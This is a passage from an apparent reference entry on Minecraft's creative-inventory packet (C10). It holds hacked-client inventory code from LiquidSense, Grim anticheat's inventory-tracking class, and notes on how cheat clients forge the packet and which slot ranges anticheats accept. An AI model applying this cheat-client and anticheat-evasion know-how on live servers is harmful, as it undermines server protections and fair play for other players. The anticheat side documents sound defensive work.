((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot)}, DamageSource.generic);\n            if (InventoryUtils.mc.thePlayer.inventory.armorInventory[3] != null) {\n                ItemArmor ia = (ItemArmor)InventoryUtils.mc.thePlayer.inventory.armorInventory[3].getItem();\n                ItemStack is = InventoryUtils.mc.thePlayer.inventory.armorInventory[3];\n                ia1 = (ItemArmor)InventoryUtils.getStackInSlot(slot).getItem();\n                int otherProtection = ((ItemArmor)is.getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(is)) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{is}, DamageSource.generic);\n                if (otherProtection > slotProtection || otherProtection == slotProtection) {\n                    return false;\n                }\n            }\n            int i = 0;\n            while (i < InventoryUtils.mc.thePlayer.inventory.getSizeInventory()) {\n                if (InventoryUtils.getStackInSlot(i) != null && InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem() instanceof ItemArmor) {\n                    int otherProtection = ((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i)}, DamageSource.generic);\n                    ia1 = (ItemArmor)InventoryUtils.getStackInSlot(slot).getItem();\n                    ItemArmor ia2 = (ItemArmor)InventoryUtils.getStackInSlot(i).getItem();\n                    if (ia1.armorType == 0 && ia2.armorType == 0 && otherProtection > slotProtection) {\n                        return false;\n                    }\n                }\n                ++i;\n            }\n        }\n        return true;\n    }\n\n    public boolean isBestLeggings(int slot) {\n        if (InventoryUtils.getStackInSlot(slot) != null && InventoryUtils.getStackInSlot(slot).getItem() != null && InventoryUtils.getStackInSlot(slot).getItem() instanceof ItemArmor) {\n            ItemArmor ia1;\n            int slotProtection = ((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot)}, DamageSource.generic);\n            if (InventoryUtils.mc.thePlayer.inventory.armorInventory[1] != null) {\n                ItemArmor ia = (ItemArmor)InventoryUtils.mc.thePlayer.inventory.armorInventory[1].getItem();\n                ItemStack is = InventoryUtils.mc.thePlayer.inventory.armorInventory[1];\n                ia1 = (ItemArmor)InventoryUtils.getStackInSlot(slot).getItem();\n                int otherProtection = ((ItemArmor)is.getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(is)) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{is}, DamageSource.generic);\n                if (otherProtection > slotProtection || otherProtection == slotProtection) {\n                    return false;\n                }\n            }\n            int i = 0;\n            while (i < InventoryUtils.mc.thePlayer.inventory.getSizeInventory()) {\n                if (InventoryUtils.getStackInSlot(i) != null && InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem() instanceof ItemArmor) {\n                    int otherProtection = ((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i)}, DamageSource.generic);\n                    ia1 = (ItemArmor)InventoryUtils.getStackInSlot(slot).getItem();\n                    ItemArmor ia2 = (ItemArmor)InventoryUtils.getStackInSlot(i).getItem();\n                    if (ia1.armorType == 2 && ia2.armorType == 2 && otherProtection > slotProtection) {\n                        return false;\n                    }\n                }\n                ++i;\n            }\n        }\n        return true;\n    }\n\n    public boolean isBestBoots(int slot) {\n        if (InventoryUtils.getStackInSlot(slot) != null && InventoryUtils.getStackInSlot(slot).getItem() != null && InventoryUtils.getStackInSlot(slot).getItem() instanceof ItemArmor) {\n            ItemArmor ia1;\n            int slotProtection = ((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot)}, DamageSource.generic);\n            if (InventoryUtils.mc.thePlayer.inventory.armorInventory[0] != null) {\n                ItemArmor ia = (ItemArmor)InventoryUtils.mc.thePlayer.inventory.armorInventory[0].getItem();\n                ItemStack is = InventoryUtils.mc.thePlayer.inventory.armorInventory[0];\n                ia1 = (ItemArmor)InventoryUtils.getStackInSlot(slot).getItem();\n                int otherProtection = ((ItemArmor)is.getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(is)) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{is}, DamageSource.generic);\n                if (otherProtection > slotProtection || otherProtection == slotProtection) {\n                    return false;\n                }\n            }\n            int i = 0;\n            while (i < InventoryUtils.mc.thePlayer.inventory.getSizeInventory()) {\n                if (InventoryUtils.getStackInSlot(i) != null && InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem() instanceof ItemArmor) {\n                    int otherProtection = ((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i)}, DamageSource.generic);\n                    ia1 = (ItemArmor)InventoryUtils.getStackInSlot(slot).getItem();\n                    ItemArmor ia2 = (ItemArmor)InventoryUtils.getStackInSlot(i).getItem();\n                    if (ia1.armorType == 3 && ia2.armorType == 3 && otherProtection > slotProtection) {\n                        return false;\n                    }\n                }\n                ++i;\n            }\n        }\n        return true;\n    }\n\n    public boolean isBestSword(int slotIn) {\n        if (this.getBestWeapon() == slotIn) {\n            return true;\n        }\n        return false;\n    }\n\n    public static int getItemType(ItemStack itemStack) {\n        if (itemStack.getItem() instanceof ItemArmor) {\n            ItemArmor armor = (ItemArmor)itemStack.getItem();\n            return armor.armorType;\n        }\n        return -1;\n    }\n\n    public static float getItemDamage(ItemStack itemStack) {\n        Iterator iterator;\n        Multimap multimap = itemStack.getAttributeModifiers();\n        if (!multimap.isEmpty() && (iterator = multimap.entries().iterator()).hasNext()) {\n            Map.Entry entry = (Entry) iterator.next();\n            AttributeModifier attributeModifier = (AttributeModifier)entry.getValue();\n            double damage = attributeModifier.getOperation() != 1 && attributeModifier.getOperation() != 2 ? attributeModifier.getAmount() : attributeModifier.getAmount() * 100.0;\n            return attributeModifier.getAmount() > 1.0 ? 1.0f + (float)damage : 1.0f;\n        }\n        return 1.0f;\n    }\n\n    public boolean hasItemMoreTimes(int slotIn) {\n        boolean has = false;\n        ArrayList<ItemStack> stacks = new ArrayList<ItemStack>();\n        stacks.clear();\n        int i = 0;\n        while (i < InventoryUtils.mc.thePlayer.inventory.getSizeInventory()) {\n            if (!stacks.contains(InventoryUtils.getStackInSlot(i))) {\n                stacks.add(InventoryUtils.getStackInSlot(i));\n            } else if (InventoryUtils.getStackInSlot(i) == InventoryUtils.getStackInSlot(slotIn)) {\n                return true;\n            }\n            ++i;\n        }\n        return false;\n    }\n\n    public int getBestWeaponInHotbar() {\n        int originalSlot = InventoryUtils.mc.thePlayer.inventory.currentItem;\n        int weaponSlot = -1;\n        float weaponDamage = 1.0f;\n        int slot = 0;\n        while (slot < 9) {\n            ItemStack itemStack = InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot);\n            if (itemStack != null) {\n                float damage = InventoryUtils.getItemDamage(itemStack);\n                if ((damage += EnchantmentHelper.getModifierForCreature(itemStack, EnumCreatureAttribute.UNDEFINED)) > weaponDamage) {\n                    weaponDamage = damage;\n                    weaponSlot = slot;\n                }\n            }\n            slot = (byte)(slot + 1);\n        }\n        if (weaponSlot != -1) {\n            return weaponSlot;\n        }\n        return originalSlot;\n    }\n\n    public int getBestWeapon() {\n        int originalSlot = InventoryUtils.mc.thePlayer.inventory.currentItem;\n        int weaponSlot = -1;\n        float weaponDamage = 1.0f;\n        int slot = 0;\n        while (slot < InventoryUtils.mc.thePlayer.inventory.getSizeInventory()) {\n            ItemStack itemStack;\n            if (InventoryUtils.getStackInSlot(slot) != null && (itemStack = InventoryUtils.getStackInSlot(slot)) != null && itemStack.getItem() != null && itemStack.getItem() instanceof ItemSword) {\n                float damage = InventoryUtils.getItemDamage(itemStack);\n                if ((damage += EnchantmentHelper.getModifierForCreature(itemStack, EnumCreatureAttribute.UNDEFINED)) > weaponDamage) {\n                    weaponDamage = damage;\n                    weaponSlot = slot;\n                }\n            }\n            slot = (byte)(slot + 1);\n        }\n        if (weaponSlot != -1) {\n            return weaponSlot;\n        }\n        return originalSlot;\n    }\n\n    public int getArmorProt(int i) {\n        int armorprot = -1;\n        if (InventoryUtils.getStackInSlot(i) != null && InventoryUtils.getStackInSlot(i).getItem() != null && InventoryUtils.getStackInSlot(i).getItem() instanceof ItemArmor) {\n            armorprot = ((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i)}, DamageSource.generic);\n        }\n        return armorprot;\n    }\n\n    public static int getFirstItem(Item i1) {\n        int i = 0;\n        while (i < InventoryUtils.mc.thePlayer.inventory.getSizeInventory()) {\n            if (InventoryUtils.getStackInSlot(i) != null && InventoryUtils.getStackInSlot(i).getItem() != null && InventoryUtils.getStackInSlot(i).getItem() == i1) {\n                return i;\n            }\n            ++i;\n        }\n        return -1;\n    }\n\n    public static boolean isBestSword(ItemStack itemSword, int slot) {\n        if (itemSword != null && itemSword.getItem() instanceof ItemSword) {\n            int i = 0;\n            while (i < InventoryUtils.mc.thePlayer.inventory.getSizeInventory()) {\n                ItemStack iStack = InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i);\n                if (iStack != null && iStack.getItem() instanceof ItemSword && InventoryUtils.getItemDamage(iStack) >= InventoryUtils.getItemDamage(itemSword) && slot != i) {\n                    return false;\n                }\n                ++i;\n            }\n        }\n        return true;\n    }\n}\n// NOTE (AI): updateInventory() is the only C10 driver in this file; the rest is armor and weapon scoring for the AquaVit module set. The slot mapping (offset 36 for slots 0..8) mirrors the hotbar-to-grid layout the server expects for creative writes.\n",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/API/InventoryUtils.java",
      "vanilla_hook": "Direct addToSendQueue, no event bus.",
      "anti_cheat_notes": "Only works in creative gamemode; the server drops C10 from survival players, so the resync is a no-op there. The slots map to the survival grid 1..44, which is exactly the flag1-valid range.",
      "variations": "AquaVit modules call updateInventory after local inventory edits; the LiquidBounce core has no equivalent resync helper."
     }
    ],
    "general_hooks": "No client hooks C10 in a dedicated module; it is reached through generic PacketSendEvent interception (Rise 5.99) or helper whitelists (Tenacity). LiquidSense Dev drives C10 through a direct addToSendQueue call in a static utility, not through an event hook.",
    "client_variations": "Rise 5.99 constructs the packet directly with a forged ItemStack; Tenacity only classifies it. Memeware, Nekoware, Sigma, Spicy and both Rise 6.x builds touch C10 solely through the vanilla PlayerControllerMP path. November Recode 2.0 registers C10 in its LuaEventPacket scripting id map (0x10) but has no module that constructs it.",
    "related": [
     "C0EPacketClickWindow",
     "S2FPacketSetSlot",
     "C09PacketHeldItemChange"
    ],
    "anticheat": {
     "overview": "Server-side anticheats treat the creative-inventory packet as the creative-mode inventory mutation stream. The corpus is thin: Grim keeps a simulated inventory in sync by applying the slot writes, and LightAntiCheat flags the packet when a non-creative player sends it. Most other corpus hits are gamemode-flag reads inside movement checks, not listeners for this packet.",
     "checks": [
      {
       "name": "CreativeInventoryAction tracking (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Keep the simulated inventory in sync with creative slot writes so item-dependent checks see the items the client claims to hold.",
       "how_it_works": "Listens for CREATIVE_INVENTORY_ACTION and returns unless the player is in creative mode. The slot is validated against the 1.8 boundary (slots 1-44 on 1.8, 1-45 after) before the stack is written into the compensated inventory and the slot is marked as client-claimed.",
       "detects": "Nothing directly. It is the feed that keeps enchantment and held-item state accurate in creative mode, and out-of-range slot values are dropped instead of crashing the simulation.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedInventory.java =====\npackage ac.grim.grimac.utils.latency;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockPlace;\nimport ac.grim.grimac.utils.inventory.EquipmentType;\nimport ac.grim.grimac.utils.inventory.Inventory;\nimport ac.grim.grimac.utils.inventory.inventory.AbstractContainerMenu;\nimport ac.grim.grimac.utils.inventory.inventory.MenuType;\nimport ac.grim.grimac.utils.inventory.inventory.NotImplementedMenu;\nimport ac.grim.grimac.utils.lists.CorrectingPlayerInventoryStorage;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemType;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientClickWindow;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientCreativeInventoryAction;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientHeldItemChange;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerDigging;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientUseItem;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenHorseWindow;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenWindow;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPlayerInventory;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport lombok.Getter;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n// Updated to support modern 1.17 protocol\npublic class CompensatedInventory extends Check implements PacketReceiveListener, PacketSendListener {\n    private static final int PLAYER_INVENTORY_CASE = -1;\n    private static final int UNSUPPORTED_INVENTORY_CASE = -2;\n    // \"Temporarily\" public for debugging\n    public final Inventory inventory;\n    // \"Temporarily\" public for debugging\n    public AbstractContainerMenu menu;\n    // Not all inventories are supported due to complexity and version differences\n    public boolean isPacketInventoryActive = true;\n    public boolean needResend = false;\n    public int stateID = 0; // Don't mess up the last sent state ID by changing it\n    private int openWindowID = 0;\n    // Special values:\n    // Player inventory is -1\n    // Unsupported inventory is -2\n    private int packetSendingInventorySize = PLAYER_INVENTORY_CASE;\n\n    // The item held at the start of the current client tick (processed at the end of the previous tick)\n    // also updated before slot changes to account for the delay when using hotbar keybinds\n    // Currently only used by 1.21.11+ players to handle attribute swapping items with the ATTACK_RANGE Component\n    @Getter\n    private ItemStack startOfTickStack = ItemStack.EMPTY;\n\n    public CompensatedInventory(GrimPlayer playerData) {\n        super(playerData);\n\n        CorrectingPlayerInventoryStorage storage = new CorrectingPlayerInventoryStorage(player, 46);\n        inventory = new Inventory(playerData, storage);\n\n        menu = inventory;\n    }\n\n    // Meant for 1.17+ clients who send changed slots, making the server not send the entire inventory\n    private void markPlayerSlotAsChanged(int clicked) {\n        // Player inventory\n        if (openWindowID == 0) {\n            inventory.getInventoryStorage().handleClientClaimedSlotSet(clicked);\n            return;\n        }\n\n        // We don't know size of the inventory, so we can't do anything\n        // We will resync later.\n        if (menu instanceof NotImplementedMenu) return;\n\n        // 9-45 are the player inventory slots that are used\n        // There are 36 player slots in each menu that we care about and track.\n        int nonPlayerInvSize = menu.getSlots().size() - 36 + 9;\n        int playerInvSlotclicked = clicked - nonPlayerInvSize;\n        // Bypass player inventory\n        inventory.getInventoryStorage().handleClientClaimedSlotSet(playerInvSlotclicked);\n    }\n\n    public ItemStack getItemInHand(InteractionHand hand) {\n        return hand == InteractionHand.MAIN_HAND ? getHeldItem() : getOffHand();\n    }\n\n    /**\n     * Marks that the server has updated a slot by the specified ID in the specified inventory ID.\n     * @param clicked the updated slot\n     * @param windowID the inventory ID\n     */\n    private void markServerForChangingSlot(int clicked, int windowID) {\n        // Unsupported inventory\n        if (packetSendingInventorySize == UNSUPPORTED_INVENTORY_CASE) return;\n        // Player inventory\n        if (packetSendingInventorySize == PLAYER_INVENTORY_CASE || windowID == 0) {\n            // Result slot isn't included in storage, we must ignore it\n            inventory.getInventoryStorage().handleServerCorrectSlot(clicked);\n            return;\n        }\n        // See note in above method.\n        int nonPlayerInvSize = menu.getSlots().size() - 36 + 9;\n        int playerInvSlotclicked = clicked - nonPlayerInvSize;\n\n        inventory.getInventoryStorage().handleServerCorrectSlot(playerInvSlotclicked);\n    }\n\n    public ItemStack getHeldItem() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getHeldItem() :\n                player.platformPlayer.getInventory().getItemInHand();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getOffHand() {\n        if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9))\n            return ItemStack.EMPTY;\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getOffhand() :\n                player.platformPlayer.getInventory().getItemInOffHand();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getHelmet() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getHelmet() :\n                player.platformPlayer.getInventory().getHelmet();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getChestplate() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getChestplate() :\n                player.platformPlayer.getInventory().getChestplate();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getLeggings() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getLeggings() :\n                player.platformPlayer.getInventory().getLeggings();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getBoots() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getBoots() :\n                player.platformPlayer.getInventory().getBoots();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    private ItemStack getByEquipmentType(EquipmentType type) {\n        return switch (type) {\n            case HEAD -> getHelmet();\n            case CHEST -> getChestplate();\n            case LEGS -> getLeggings();\n            case FEET -> getBoots();\n            case OFFHAND -> getOffHand();\n            case MAINHAND -> getHeldItem();\n        };\n    }\n\n    public boolean hasItemType(ItemType type) {\n        if (isPacketInventoryActive || player.platformPlayer == null)\n            return inventory.hasItemType(type);\n\n        // Fall back to platform inventories\n        for (ItemStack itemStack : player.platformPlayer.getInventory().getContents()) {\n            if (itemStack != null && itemStack.getType() == type) return true;\n        }\n        return false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.USE_ITEM) {\n            WrapperPlayClientUseItem item = new WrapperPlayClientUseItem(event);\n\n            ItemStack use = item.getHand() == InteractionHand.MAIN_HAND ? getHeldItem() : getOffHand();\n\n            EquipmentType equipmentType = EquipmentType.getEquipmentSlotForItem(use);\n            if (equipmentType != null) {\n                int slot;\n                switch (equipmentType) {\n                    case HEAD -> slot = Inventory.SLOT_HELMET;\n                    case CHEST -> slot = Inventory.SLOT_CHESTPLATE;\n                    case LEGS -> slot = Inventory.SLOT_LEGGINGS;\n                    case FEET -> slot = Inventory.SLOT_BOOTS;\n                    default -> {\n                        return; // Not armor, therefore we shouldn't run this code\n                    }\n                }\n\n                ItemStack currentEquippedItem = getByEquipmentType(equipmentType);\n                // Only 1.19.4+ clients support swapping with non-empty items\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_19_4) && !currentEquippedItem.isEmpty())\n                    return;\n\n                // 1.19.4+ clients support swapping with non-empty items\n                int swapItemSlot = item.getHand() == InteractionHand.MAIN_HAND ? inventory.getSelected() + Inventory.HOTBAR_OFFSET : Inventory.SLOT_OFFHAND;\n\n                // Mojang implemented this stupidly, I rewrote their item swap code to make it somewhat cleaner.\n                // Slot in hotbar\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(swapItemSlot);\n                inventory.getInventoryStorage().setItem(swapItemSlot, currentEquippedItem);\n\n                // Equipment slot\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(slot);\n                inventory.getInventoryStorage().setItem(slot, use);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.PLAYER_DIGGING) {\n            WrapperPlayClientPlayerDigging dig = new WrapperPlayClientPlayerDigging(event);\n\n            // 1.8 clients don't predict dropping items\n            if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) return;\n\n            if (dig.getAction() == DiggingAction.DROP_ITEM) {\n                ItemStack heldItem = getHeldItem();\n                if (heldItem != null) {\n                    heldItem.setAmount(heldItem.getAmount() - 1);\n                    if (heldItem.getAmount() <= 0) {\n                        heldItem = null;\n                    }\n                }\n                inventory.setHeldItem(heldItem);\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n            }\n\n            if (dig.getAction() == DiggingAction.DROP_ITEM_STACK) {\n                inventory.setHeldItem(null);\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.HELD_ITEM_CHANGE) {\n            final int slot = new WrapperPlayClientHeldItemChange(event).getSlot();\n\n            // Stop people from spamming the server with an out-of-bounds exception\n            if (slot > 8 || slot < 0) return;\n\n            // set this before we change the selected slot so we get the previous item held\n            this.startOfTickStack = getHeldItem();\n            inventory.setSelected(slot);\n        } else if (event.getPacketType() == PacketType.Play.Client.CREATIVE_INVENTORY_ACTION) {\n            WrapperPlayClientCreativeInventoryAction action = new WrapperPlayClientCreativeInventoryAction(event);\n            if (player.gamemode != GameMode.CREATIVE) return;\n\n            boolean valid = action.getSlot() >= 1 &&\n                    (PacketEvents.getAPI().getServerManager().getVersion().isNewerThan(ServerVersion.V_1_8) ?\n                            action.getSlot() <= 45 : action.getSlot() < 45);\n\n            if (valid) {\n                inventory.getSlot(action.getSlot()).set(action.getItemStack());\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(action.getSlot());\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.CLICK_WINDOW && !event.isCancelled()) {\n            WrapperPlayClientClickWindow click = new WrapperPlayClientClickWindow(event);\n\n            // How is this possible? Maybe transaction splitting.\n            if (click.getWindowId() != openWindowID) {\n                return;\n            }\n\n            // Don't care about this click since we can't track it.\n            if (menu instanceof NotImplementedMenu) {\n                return;\n            }\n\n            // Mark the slots the player has changed as changed, then continue simulating what they changed\n            Optional<Map<Integer, ItemStack>> slots = click.getSlots();\n            slots.ifPresent(integerItemStackMap -> integerItemStackMap.keySet().forEach(this::markPlayerSlotAsChanged));\n\n            // 0 for left click\n            // 1 for right click\n            int button = click.getButton();\n            // Offset by the number of slots in the inventory actively open\n            // Is -999 when clicking off the screen\n            int slot = click.getSlot();\n            // Self-explanatory, look at the enum's values\n            WrapperPlayClientClickWindow.WindowClickType clickType = click.getWindowClickType();\n\n            if (slot == -1 || slot == -999 || slot < menu.getSlots().size()) {\n                menu.doClick(button, slot, clickType);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.CLOSE_WINDOW) {\n            this.closeActiveInventory();\n        } else if (isTickPacket(event.getPacketType())) {\n            this.startOfTickStack = getHeldItem();\n        }\n    }\n\n    public void markSlotAsResyncing(BlockPlace place) {\n        // Update held item tracking\n        if (place.hand == InteractionHand.MAIN_HAND) {\n            inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n        } else {\n            inventory.getInventoryStorage().handleServerCorrectSlot(Inventory.SLOT_OFFHAND);\n        }\n    }\n\n    public void onBlockPlace(BlockPlace place) {\n        if (player.gamemode != GameMode.CREATIVE && place.itemStack.getType() != ItemTypes.POWDER_SNOW_BUCKET) {\n            markSlotAsResyncing(place);\n            place.itemStack.setAmount(place.itemStack.getAmount() - 1);\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        // Not 1:1 MCP, based on Wiki.VG to be simpler as we need less logic...\n        // For example, we don't need permanent storage, only storing data until the client closes the window\n        // We also don't need a lot of server-sided only logic\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            WrapperPlayServerOpenWindow open = new WrapperPlayServerOpenWindow(event);\n\n            MenuType menuType = MenuType.getMenuType(open.getType());\n\n            AbstractContainerMenu newMenu;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_14)) {\n                newMenu = MenuType.getMenuFromID(player, inventory, menuType);\n            } else {\n                newMenu = MenuType.getMenuFromString(player, inventory, open.getLegacyType(), open.getLegacySlots(), open.getHorseId());\n            }\n\n            packetSendingInventorySize = newMenu instanceof NotImplementedMenu ? UNSUPPORTED_INVENTORY_CASE : newMenu.getSlots().size();\n\n            // There doesn't seem to be a check against using 0 as the window ID - let's consider that an invalid packet\n            // It will probably mess up a TON of logic both client and server sided, so don't do that!\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                openWindowID = open.getContainerId();\n                menu = newMenu;\n                isPacketInventoryActive = !(newMenu instanceof NotImplementedMenu);\n                needResend = newMenu instanceof NotImplementedMenu;\n            });\n        }\n\n        // I'm not implementing this lol\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            WrapperPlayServerOpenHorseWindow open = new WrapperPlayServerOpenHorseWindow(event);\n\n            packetSendingInventorySize = UNSUPPORTED_INVENTORY_CASE;\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                isPacketInventoryActive = false;\n                needResend = true;\n                openWindowID = open.getWindowId();\n            });\n        }\n\n        // 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.CLOSE_WINDOW) {\n            packetSendingInventorySize = PLAYER_INVENTORY_CASE;\n\n            // Disregard provided window ID, client doesn't care...\n            // We need to do this because the client doesn't send a packet when closing the window\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), this::closeActiveInventory);\n        }\n\n        // Should be 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n            stateID = items.getStateId();\n\n            List<ItemStack> slots = items.getItems();\n            for (int i = 0; i < slots.size(); i++) {\n                markServerForChangingSlot(i, items.getWindowId());\n            }\n\n            final int cachedPacketInvSize = packetSendingInventorySize;\n            final AtomicBoolean updatedValue = new AtomicBoolean();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                // Never true when the inventory is unsupported.\n                // Vanilla ALWAYS sends the entire inventory to resync, this is a valid thing to check\n                // 01/07/2025: Somehow, the server sends a window id 0 update when the player is not in their inventory?\n                // I guess just revert isPacketInventoryActive if the player has a NotImplementedMenu open?\n                // Regardless, the client does accept this packet and updates its inventory, so we must do the same.\n                boolean forceUpdate = slots.size() == cachedPacketInvSize || items.getWindowId() == 0;\n                if (!isPacketInventoryActive && forceUpdate) {\n                    isPacketInventoryActive = true;\n                    updatedValue.set(true);\n                }\n            });\n\n            if (items.getWindowId() == 0) { // Player inventory\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    if (!isPacketInventoryActive) return;\n                    for (int i = 0; i < slots.size(); i++) {\n                        inventory.getSlot(i).set(slots.get(i));\n                    }\n                    if (items.getCarriedItem().isPresent()) {\n                        inventory.setCarried(items.getCarriedItem().get());\n                    }\n                });\n            } else {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    if (!isPacketInventoryActive) return;\n                    if (items.getWindowId() == openWindowID) {\n                        for (int i = 0; i < slots.size(); i++) {\n                            